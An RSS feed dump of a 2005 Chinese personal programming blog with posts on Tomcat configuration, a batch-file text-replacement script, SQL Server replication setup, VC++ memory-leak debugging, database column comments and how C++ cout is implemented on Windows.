		<p>直接设置Tomcat路径到当前项目路径(虚拟路径):<br />D:\Tomcat55\conf\Catalina\localhost\GlacierBBS.xml:<br />&lt;Context docBase="E:/eclipse/GlacierBBS/GlacierBBS" path="GlacierBBS"<br />         privileged="true" antiResourceLocking="false" antiJARLocking="false" reloadable="true"&gt;<br />&lt;/Context&gt;<br /><br />Eclipse + WTP (web tools platform) 很强...<br />jsp文件和servlet类文件的编码方式<br />和在jsp和servlet中指定(response.setCharacterEncoding("UTF-8");)的编码方式的不同。<br />一个是文件内部的编码，另一个是把文件内部编码发送到客户端后，客户端以什么编码方式来阅读。jsp和servlet生成客户端html的时候，并不会自动进行编码的转换。</p>
		<p>errorpage路径设置错误产生异常:<br />java.lang.NullPointerException<br />org.apache.jasper.runtime.PageContextImpl.doForward(PageContextImpl.java:690)<br />org.apache.jasper.runtime.PageContextImpl.forward(PageContextImpl.java:657)<br />org.apache.jasper.runtime.PageContextImpl.doHandlePageException(PageContextImpl.java:805)<br />org.apache.jasper.runtime.PageContextImpl.handlePageException(PageContextImpl.java:778)<br />org.apache.jsp.index_jsp._jspSer...</p>
		<p>从文件路径错误到NullPointerException...需要很强的想象力<br /><br />书籍memo:《Tomcat 与 Java Web 开发技术详解》</p>
<img src ="http://www.cnitblog.com/Raistlin/aggbug/5566.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:39 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5566.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>再关于文本替换...[事实又一次证明俺是乡巴佬] </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:34:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5565.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5565.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5565.html</trackback:ping><description><![CDATA[转自<A href="https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=46712&amp;p=190038">https://www.xfocus.net/bbs/index.php?act=SE&amp;f=2&amp;t=46712&amp;p=190038</A>。做过修改。<BR>此链接推荐去看一看正文和回复...强淫啊<BR>&nbsp;<BR>@echo on<BR>&nbsp;<BR>setlocal<BR>&nbsp;<BR>rem DPATH&nbsp;&nbsp; : 指定目录<BR>rem FILETYPE: 指定文件类型<BR>rem SCONTENT: 替换前的字符串<BR>rem DCONTENT: 替换后的字符串<BR>rem TMPFILE : 临时文件<BR>&nbsp;<BR>set DPATH=c:\temp\test<BR>set FILETYPE=*.txt<BR>set SCONTENT=aaa<BR>set DCONTENT=bbb<BR>set TMPFILE=%random%.tmp<BR>&nbsp;<BR>for /r %DPATH% %%i in ( %FILETYPE% ) do ( <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; if exist %TMPFILE% ( del /f/q %TMPFILE% ) <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; for /f "tokens=*" %%j in ('type "%%i"') do (<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;nul 1&gt;&gt;%TMPFILE%<BR>&nbsp;&nbsp;&nbsp; ) <BR>&nbsp;<BR>&nbsp;&nbsp;&nbsp; move /y %TMPFILE%&nbsp; %%i<BR>)<BR>&nbsp;<BR>endlocal<BR>&nbsp;<BR>&nbsp;<BR>把以上内容保存为replace.bat,然后在命令行下执行cmd /v:on /c replace.bat<BR>本例子实现了把c:\test目录（包括子目录）中所有txt文件中的aaa替换成bbb<BR>&nbsp;<BR>&nbsp;<BR>set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;nul 1&gt;&gt;%TMPFILE%<BR>奇怪的格式...<BR>用到的是环境变量替换&nbsp; set /? 查看帮助<BR>不过也够怪异的...<BR>实际上应该是<BR>set TMP=%%j &amp;&amp; echo !TMP:%SCONTENT%=%DCONTENT%!&gt;&gt;%TMPFILE%<BR>？<BR>cmd必须以 /v:on参数启动的...<img src ="http://www.cnitblog.com/Raistlin/aggbug/5565.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:34 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5565.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>交了一次白卷</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5564.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 19 Dec 2005 00:32:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5564.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5564.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/19/5564.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5564.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5564.html</trackback:ping><description><![CDATA[<P>今天早上查看信箱，才发现google的比赛昨天已经开始，到今天中午12点结束。于是直奔考场。一看两个题目，250分和750分。俺直接打开750分的题目。</P>
<P>看了10分钟英文的题目，大概理解如下:有个m * n的字符串数组grid，和一个长度为g的字符串path，匹配方式是从grid中任何一个位置开始，从上下左右和对角方向(共八个方向)进行匹配，要求计算匹配的次数。如果匹配次数大于1000000000，返回-1。<BR>类名字为WordPath，方法为int countPaths(vector &lt;string&gt; grid, string find);(俺语言选了C++)<BR>&nbsp;<BR>看完题目，只剩下不到50分钟了，赶快写吧。直接开了个vc，创建类，写函数(不习惯竞技场的界面的)...正要调试的时候vc出问题了，说俺文件丢失。@#$！懒得去找丢失的文件。直接用竞赛场的界面来调试吧。我用vc编译是没问题的，在竞技场上编译就出问题了。因为vc工程的头文件和cpp文件是分开的，而竞技场里面是合并的。copy过来的时候出了问题..声明了虚构函数却没实现...<BR>好不容易调试通过了，运行出问题了，错误结果是：segmentation fault。但我不知道这个segmentation fault是什么鸟。编码的时间从剩余的十几分钟一直到10分钟，到1分钟....烦了，干脆关掉。<BR>&nbsp;<BR>郁闷，出去逛了一圈回来，重新建个vc的工程自己调试。运行没什么问题啊...返回的结果似乎也是正确的(俺只测试了一个例子)。奇怪为什么同样的代码在上面运行就出错呢？<BR>&nbsp;<BR>只能怪自己是菜鸟了。安慰的说法是俺不是编程机器...<BR>&nbsp;<BR>总结一下俺失败的经验:<BR>1.C++的类要习惯把头文件和cpp文件写在一快。<BR>2.完全不要考虑参数是否会出错，不要浪费时间做错误处理。<BR>3.完全用C的代码来写C++的类。C++的特性不要使用，比如static成员，在构造函数里面初始化等。<BR>4.比赛前研究一下调试的环境，好像标准输入输出是可以用的，但我没试过...<BR>&nbsp;<BR>做好上面4点，完成题目的可能性会比较大了。</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5564.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-19 08:32 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/19/5564.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>一般做MS SQL发布订阅要做的准备工作[转]</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/16/5438.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 16 Dec 2005 08:39:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/16/5438.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5438.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/16/5438.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5438.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5438.html</trackback:ping><description><![CDATA[<P>1.发布服务器,订阅服务器都创建一个同名的windows用户,并设置相同的密码,做为发布快照文件夹的有效访问用户<BR>我的电脑<BR>&nbsp;&nbsp;&nbsp;&nbsp;--控制面板<BR>&nbsp;&nbsp;&nbsp;&nbsp;--管理工具<BR>&nbsp;&nbsp;&nbsp;&nbsp;--计算机管理<BR>&nbsp;&nbsp;&nbsp;&nbsp;--用户和组<BR>&nbsp;&nbsp;&nbsp;&nbsp;--右键用户<BR>&nbsp;&nbsp;&nbsp;&nbsp;--新建用户<BR>&nbsp;&nbsp;&nbsp;&nbsp;--建立一个隶属于administrator组的登陆windows的用户<BR><BR>2.在发布服务器上,新建一个共享目录,做为发布的快照文件的存放目录,操作:<BR><BR>我的电脑--D:\ 新建一个目录,名为: PUB<BR>&nbsp;&nbsp;&nbsp;&nbsp;--右键这个新建的目录<BR>&nbsp;&nbsp;&nbsp;&nbsp;--属性--共享<BR>&nbsp;&nbsp;&nbsp;&nbsp;--选择"共享该文件夹"<BR>&nbsp;&nbsp;&nbsp;&nbsp;--通过"权限"按纽来设置具体的用户权限,保证第一步中创建的用户具有对该文件夹的所有权限<BR>&nbsp;&nbsp;&nbsp;&nbsp;--确定<BR><BR><BR>3.设置SQL代理(SQLSERVERAGENT)服务的启动用户(发布/订阅服务器均做此设置)<BR><BR>开始--程序--管理工具--服务<BR>&nbsp;&nbsp;&nbsp;&nbsp;--右键SQLSERVERAGENT<BR>&nbsp;&nbsp;&nbsp;&nbsp;--属性--登陆--选择"此账户"<BR>&nbsp;&nbsp;&nbsp;&nbsp;--输入或者选择第一步中创建的windows登录用户名<BR>&nbsp;&nbsp;&nbsp;&nbsp;--"密码"中输入该用户的密码<BR><BR>4.设置SQL Server身份验证模式,解决连接时的权限问题(发布/订阅服务器均做此设置)<BR><BR>企业管理器<BR>&nbsp;&nbsp;&nbsp;&nbsp;--右键SQL实例--属性<BR>&nbsp;&nbsp;&nbsp;&nbsp;--安全性--身份验证<BR>&nbsp;&nbsp;&nbsp;&nbsp;--选择"SQL Server 和 Windows"<BR>&nbsp;&nbsp;&nbsp;&nbsp;--确定<BR><BR>5.在发布服务器和订阅服务器上互相注册<BR>企业管理器<BR>&nbsp;&nbsp;&nbsp;&nbsp;--右键SQL Server组<BR>&nbsp;&nbsp;&nbsp;&nbsp;--新建SQL Server注册...<BR>&nbsp;&nbsp;&nbsp;&nbsp;--下一步--可用的服务器中,输入你要注册的远程服务器名&nbsp;&nbsp;&nbsp;&nbsp;--添加<BR>&nbsp;&nbsp;&nbsp;&nbsp;--下一步--连接使用,选择第二个"SQL Server身份验证"<BR>&nbsp;&nbsp;&nbsp;&nbsp;--下一步--输入用户名和密码<BR>&nbsp;&nbsp;&nbsp;&nbsp;--下一步--选择SQL Server组,也可以创建一个新组<BR>&nbsp;&nbsp;&nbsp;&nbsp;--下一步--完成<BR><BR>6.对于只能用IP,不能用计算机名的,为其注册服务器别名<BR>&nbsp;&nbsp;(在连接端配置,比如,在订阅服务器上配置的话,服务器名称中输入的是发布服务器的IP)<BR>开始--程序--Microsoft SQL Server&nbsp;&nbsp;&nbsp;&nbsp;--客户端网络实用工具<BR>&nbsp;&nbsp;&nbsp;&nbsp;--别名--添加<BR>&nbsp;&nbsp;&nbsp;&nbsp;--网络库选择"tcp/ip"--服务器别名输入SQL服务器名<BR>&nbsp;&nbsp;&nbsp;&nbsp;--连接参数--服务器名称中输入SQL服务器ip地址<BR>&nbsp;&nbsp;&nbsp;&nbsp;--如果你修改了SQL的端口,取消选择"动态决定端口",并输入对应的端口号<BR><BR>自<A href="http://www.dev-club.com/club/bbs/ShowAnnounce.asp?ID=2410382">http://www.dev-club.com/club/bbs/ShowAnnounce.asp?ID=2410382</A><BR><BR><BR>以下也是转:<BR><BR>是我实验的一点心得，我已和伦冠爱我俩详细讨论过，希望能给出批评指正，<BR>&nbsp;并在进一步的实验后我们做出讨论并解决。 其中第二个问题仍需进一步研究和确认解决办法。</P>
<P>我在我自己机器上的数据库中创建了两个数据库，进行复制实验。<BR>&nbsp;发现：</P>
<P>&nbsp;1. 复制主键重复错的问题，即&nbsp; '违反了 PRIMARY KEY 约束 'PK__@snapshot_seqnos__52547341'等错误。不能在对象 '#51604F08' 中&nbsp;&nbsp; 插入重复键。<BR><BR>&nbsp;经查，初步推论此为微软复制程序的BUG,将在PACK4中加以修补，如现在修补，必须联系微软当地&nbsp; SUPPORT,存在收费,&nbsp; 我们的SQLSERVER已升级至PACK3&nbsp; 8.00.760 ,基本为最新。为以下LINK:<BR><A href="http://support.microsoft.com/default.aspx?scid=kb;en-us;813494#appliesto">http://support.microsoft.com/default.aspx?scid=kb;en-us;813494#appliesto</A><BR><BR>2.long-text字段在复制时无法大量导入的问题，错误'为进程未能大容量复制到表"CORP_DYNASTATUS_TAB"”中，在 BCP 数据文件中遇到的意外的 EOF',在现在的&nbsp;数据库中经手工初始化后基本正常，但有时仍然出现此错误和别的错误。<BR><BR>经查，初步推论为微软bcp工具以bulk insert 方式加载 image或文本大对象时支持不好， 网上其他许多人也在复制时也发生同样的问题，给出的答案为<BR>&nbsp;<A href="http://support.microsoft.com/?id=271344">http://support.microsoft.com/?id=271344</A><BR>微软说自己的工具不太支持，建议单独bcp到文件中再从文件中bcp到表中,为此提供textcopy工具.&nbsp;但此工具需单独维护，不能和复制合为一体。<BR></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5438.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-16 16:39 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/16/5438.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>你也许还没用过的vc++的调试的功能</title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/14/5380.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Wed, 14 Dec 2005 08:41:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/14/5380.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5380.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/14/5380.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5380.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5380.html</trackback:ping><description><![CDATA[<P>刚刚在IT博客网闲逛的时候看到了<A href="/wangk/">孤独的夜</A>的一片文章《<A href="/wangk/archive/2005/12/14/5369.html">如何调试MFC中的内存泄漏</A>》，讲道用设置{,,msvcrtd.dll}_crtBreakAlloc<FONT style="BACKGROUND-COLOR: #ffffff"><STRONG>这个变量</STRONG></FONT>来调试内存泄露的问题。<BR><BR>在<A href="http://support.microsoft.com/kb/q151585/">How to use _crtBreakAlloc to debug a memory allocation</A>你可以找到英文的更完整的版本，静态链接和动态连接到C运行库的名称是不一样的<BR>静态:_crtBreakAlloc<BR>动态:{,,msvcr40d.dll}*__p__crtBreakAlloc()&nbsp; (vc++4.0 和4.1版本，估计没人在用吧)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{,,msvcrtd.dll}*__p__crtBreakAlloc()&nbsp; (Visual C++ 4.2 or later)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{,,msvcrtd.dll}_crtBreakAlloc (好像这样也是可以的)<BR><BR><BR>{,,msvcrtd.dll}__p__crtBreakAlloc()是个什么东西呢？<BR><BR>查看msdn索引“Advanced Breakpoint”and you will find out...<BR><BR>语法如下：<BR>{[function],[source],[exe] } location<BR>{[function],[source],[exe] } variable_name<BR>{[function],[source],[exe] } expression</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5380.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-14 16:41 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/14/5380.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>数据库的表和字段的注释。表的结构 </title><link>http://www.cnitblog.com/Raistlin/archive/2005/12/08/5229.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Thu, 08 Dec 2005 04:03:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/12/08/5229.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/5229.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/12/08/5229.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/5229.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/5229.html</trackback:ping><description><![CDATA[<DIV>这里的表结构指的表的基本信息：表名，表的注释(备注)，字段名，字段类型，长度，是否允许空，缺省值，字段注释(备注)。</DIV>
<DIV>&nbsp;</DIV>
<DIV>主要的是注释..你的表名叫lcxxb，字段名叫lcmc，智商300的用户也看不懂你这是拼音，意思是"流程信息表"和"流程名称"。大家的思路都不一样。</DIV>
<DIV><BR>我要做到的就是让用户看到的是"流程信息表"和"流程名称"而实际操作的是lcxxb和lcmc。<BR>你自己建个表XXX来保存lcxxb,lcmc和"流程信息表"，"流程名称"的对映吧。是相当麻烦的事情，<BR>1，造成数据冗余，人家数据库基本上都能让你给表和字段写注释，你还自己搞一套..<BR>2，每次修改表都要去修改一下这张表，删除的表和字段要删除，更新的表和字段要更新，新建的表和字段要新建，累..<BR>3，每次创建数据库都要独立的再填写表XXX的内容。每次修改了数据库设计，创建数据库的程序也要跟着修改。</DIV>
<DIV>所以俺还是老老实实用数据库提供的注释或备注或数据字典功能吧。</DIV>
<DIV><BR>但是这又涉及一个问题:各种数据库保存注释(备注)的方法不一样，虽然现在只用MS Sql server，但难保以后不会用Oracle。要不是大家都各搞一套，巴别塔也许早就建成了。</DIV>
<DIV>&nbsp;</DIV>
<DIV>SQL server下的方法(摘自 <A href="http://woooh.com/post/137.html" rel=nofollow><FONT color=#003399>SQL Server下生成数据库框架</FONT></A>)：</DIV>
<DIV>SQL Server下生成数据库框架。<BR>经过反复学习和测试，最后发现自定义的视图才能简单地胜任所需要的工作，否则把事情会变得很复杂。<BR>视图代码如下</DIV>
<DIV>CREATE VIEW dbo.Data_Frame<BR>AS<BR>SELECT dbo.syscolumns.name AS Name, dbo.systypes.name AS Type, <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.syscolumns.length AS Width, dbo.syscolumns.isnullable AS IsNull, <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.<FONT color=#ff6600>sysproperties</FONT>.[value], dbo.sysobjects.name AS Table_Name<BR>FROM dbo.sysobjects INNER JOIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.syscolumns ON dbo.sysobjects.id = dbo.syscolumns.id INNER JOIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.sysproperties ON dbo.syscolumns.colid = dbo.sysproperties.smallid AND <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.syscolumns.id = dbo.sysproperties.id INNER JOIN<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.systypes ON dbo.syscolumns.xtype = dbo.systypes.xtype AND <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dbo.syscolumns.xusertype = dbo.systypes.xusertype</DIV>
<DIV><BR>最后输出的是：</DIV>
<DIV>列名<BR>系统类型<BR>限制长度<BR>是否允许为空<BR>备注<BR>所在表</DIV>
<DIV>可以进一步根据需要增加/删除自己希望的部分。</DIV>
<DIV>调用：<BR>Select * From [自定义的视图名称] Where Table_Name='[希望检索的表名]'</DIV>
<DIV><BR>或者 取得一个表中所有的字段列表及字段描述的方法：</DIV>
<DIV>字段名列表：<BR>select Name from syscolumns where id=object_id('custmoerinfo')</DIV>
<DIV>字段描述：<BR>select * from ::fn_listextendedproperty(NULL, 'user', 'dbo', 'table', 'custmoerinfo','column', default)</DIV>
<DIV><BR>ORACLE下的方法(摘自<A href="http://www.chinaitpower.com/A/2004-07-07/85789.html" rel=nofollow><FONT color=#003399>Oracle数据字典的介绍与应用实例</FONT></A>)：<BR>ORACLE自己搞了一套数据字典创建表的SQL语句如下<BR>--" 创建数据表<BR>create table TABLE_TEST<BR>(<BR>　　NAME varchar2(40) not null,<BR>　　SEX varchar2(1) default 'Y' not null,<BR>　　BIRTHDAY date not null,<BR>　　HEIGHT number(3,2),<BR>　　WEIGHT number(3,2),<BR>　　MEMO blob<BR>);<BR>-- 给列添加备注<BR>　　comment on column TABLE_TEST.NAME is '姓名';<BR>　　comment on column TABLE_TEST.SEX is '性别';<BR>　　comment on column TABLE_TEST.BIRTHDAY is '生日';<BR>　　comment on column TABLE_TEST.HEIGHT is '身高';<BR>　　comment on column TABLE_TEST.WEIGHT is '体重';<BR>　　comment on column TABLE_TEST.MEMO is '备注';<BR>-- 创建约束关系 主键 外键 其他<BR>　　alter table TABLE_TEST add constraint TB_TEST_P_NAME primary key (NAME);<BR>　　<BR>数据表创建完毕，执行下列SQL语句：<BR>　　select<BR>　　A.column_name 字段名,A.data_type 数据类型,A.data_length 长度,A.data_precision 整数位,<BR>　　A.Data_Scale 小数位,A.nullable 允许空值,A.Data_default 缺省值,B.comments 备注<BR>　　from<BR>　　<FONT color=#ff6600>user_tab_columns </FONT>A,<FONT color=#ff6600>user_col_comments </FONT>B<BR>　　where<BR>　　A.Table_Name = B.Table_Name<BR>　　and A.Column_Name = B.Column_Name<BR>　　and A.Table_Name = 'TABLE_TEST'<BR>　　<BR>我们可以得出以下结果：</DIV>
<DIV>
<TABLE width="100%" border=1>
<TBODY>
<TR>
<TH>字段名</TH>
<TH>数据类型</TH>
<TH>长度</TH>
<TH>整数位</TH>
<TH>小数位</TH>
<TH>允许空值</TH>
<TH>缺省值</TH>
<TH>备注</TH></TR>
<TR>
<TD>Name</TD>
<TD>varchar2</TD>
<TD>40</TD>
<TD>&nbsp;</TD>
<TD>&nbsp;</TD>
<TD>N</TD>
<TD>&lt;long&gt;</TD>
<TD>姓名</TD></TR>
<TR>
<TD>Sex</TD>
<TD>varchar2</TD>
<TD>1</TD>
<TD>&nbsp;</TD>
<TD>&nbsp;</TD>
<TD>N</TD>
<TD>&lt;long&gt;</TD>
<TD>性别</TD></TR>
<TR>
<TD colSpan=8>........</TD></TR></TBODY></TABLE></DIV><BR>
<P><BR>&nbsp;</P>
<P>学习数据库的一些资料：</P>
<P>存储过程的好处：1编译2封装3重复使用4安全性5减少网络流量</P>
<P>JDBC读取字段需要按顺序的原因？：SQL数据库在构造虚拟表的时候就是以一种先进先出的原则,把所有的数据排列在一个内存段之中,通过顺序的读取,将数据逐一的读取,而如果跳过某个具体的字段获取下一个字段的信息,系统就会将原来的那个字段的信息丢失,以释放内存,这是出于系统构造的简单性和系统的内存最低化的要求,所以这样也保证了有限的内存资源得到最充分的发挥。？</P>
<P>在SQL Server中保存和输出图片<A href="http://www.pcdog.com/p/html/2004124/41220041381_1.htm"><FONT color=#003399>http://www.pcdog.com/p/html/2004124/41220041381_1.htm</FONT></A></P>
<P>很好的一个电子书下载地址<A href="http://www.ibook8.com/book/shuju.htm"><FONT color=#003399>http://www.ibook8.com/book/shuju.htm</FONT></A></P><img src ="http://www.cnitblog.com/Raistlin/aggbug/5229.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-12-08 12:03 <a href="http://www.cnitblog.com/Raistlin/archive/2005/12/08/5229.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>关于cout在winows上的实现的讨论?</title><link>http://www.cnitblog.com/Raistlin/archive/2005/11/14/4469.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Mon, 14 Nov 2005 09:16:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/11/14/4469.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/4469.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/11/14/4469.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/4469.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/4469.html</trackback:ping><description><![CDATA[<P>看了一篇关于C++中标准输出cout的文章，因为最近正搞一个console程序，对于cout如何被实现产生了兴趣。</P>
<P>我能找到的关于cout的内容就只是一个声明： <BR>extern _CRTIMP ostream cout; </P>
<P>具体这个cout是怎么被定义的一无所知，可能不同平台有不同的定义<BR></P>
<P>在vc++6.0实验如下<BR>#include &lt;fstream&gt; <BR>int main(int argc, char* argv[]) <BR>{&nbsp;<BR>&nbsp;&nbsp;&nbsp;std::filebuf myfile(&amp;_iob[1]);&nbsp;<BR>&nbsp;&nbsp;&nbsp;std::ostream mycout(&amp;myfile);&nbsp;<BR>&nbsp;&nbsp;&nbsp;mycout&lt;&lt;"test.";&nbsp;<BR>&nbsp;&nbsp;&nbsp;return 0; <BR>} <BR>效果和cout&lt;&lt;"test."完全相同。<BR><BR>cout其实就是输出到标准输出。而标准输出是可以被重定向的，标准输出被重定向后，cout将输出到被重定向后的目标。</P>
<P>vc++6.0中_iob的声明为<BR>_CRTIMP extern FILE _iob[];<BR>_iob[0]为标准输入，_iob[1]为标准输出，_iob[2]为标准错误输出<BR>用VC的debug观察得出_iob的值是固定的。<BR>_iob[0]._file==0<BR>_iob[1]._file==1<BR>_iob[2]._file==2</P>
<P>调用windows API也可以写到标准输出:<BR>DWORD dwByteWrited=0;<BR>WriteFile(GetStdHandle(STD_OUTPUT_HANDLE),"Test StdHandle",13,&amp;dwByteWrited,NULL);<BR><BR>如果标准输出没有被重定向GetStdHandle返回的值似乎固定为7。<BR>标准输出被重定向后GetStdHandle返回的值是其它的不固定值。</P>
<P>这好像涉及到语言在具体平台上的实现了...unix的cout和windows的cout的内部实现应该是不同的...没用过unix，猜测而已</P><img src ="http://www.cnitblog.com/Raistlin/aggbug/4469.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/Raistlin/" target="_blank">Raistlin</a> 2005-11-14 17:16 <a href="http://www.cnitblog.com/Raistlin/archive/2005/11/14/4469.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>为DOS批处理增加替换文本的功能[附代码和程序] V1.0</title><link>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html</link><dc:creator>Raistlin</dc:creator><author>Raistlin</author><pubDate>Fri, 11 Nov 2005 05:51:00 GMT</pubDate><guid>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html</guid><wfw:comment>http://www.cnitblog.com/Raistlin/comments/4329.html</wfw:comment><comments>http://www.cnitblog.com/Raistlin/archive/2005/11/11/4329.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/Raistlin/comments/commentRss/4329.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/Raistlin/services/trackbacks/4329.html</trackback:ping><description><![CDATA[<P>为DOS批处理增加替换文本的功能[含源代码]ver 1.0<BR>版本:1.0</P>
<P>/*<BR>modified:<BR>去掉了对管道的操作，尽量采用stl。<BR>增加了帮助功能<BR>采用了KMP算法来查找字符串。从清华大学的《数据结构》上抄的...<BR>所有内容只被读入一次，只保存在一个地方。时间复杂度和空间复杂度应该都有所降低。<BR>*/</P>
<P>/*<BR>WARNING:程序未经过测试，只经过调试。哈<BR>*/</P>
<P>用法:将strrpc.exe复制到你的system32目录或者任何一个PATH目录,在dos命令行执行即可</P>
<P>/*<BR>&nbsp;strrpc&nbsp; [/L:m-|m+|m-n|m] [/P:m-|m+|m-n|m] [/I] [/O] original [objective] [/S:srcfile [/C]] [/E]</P>
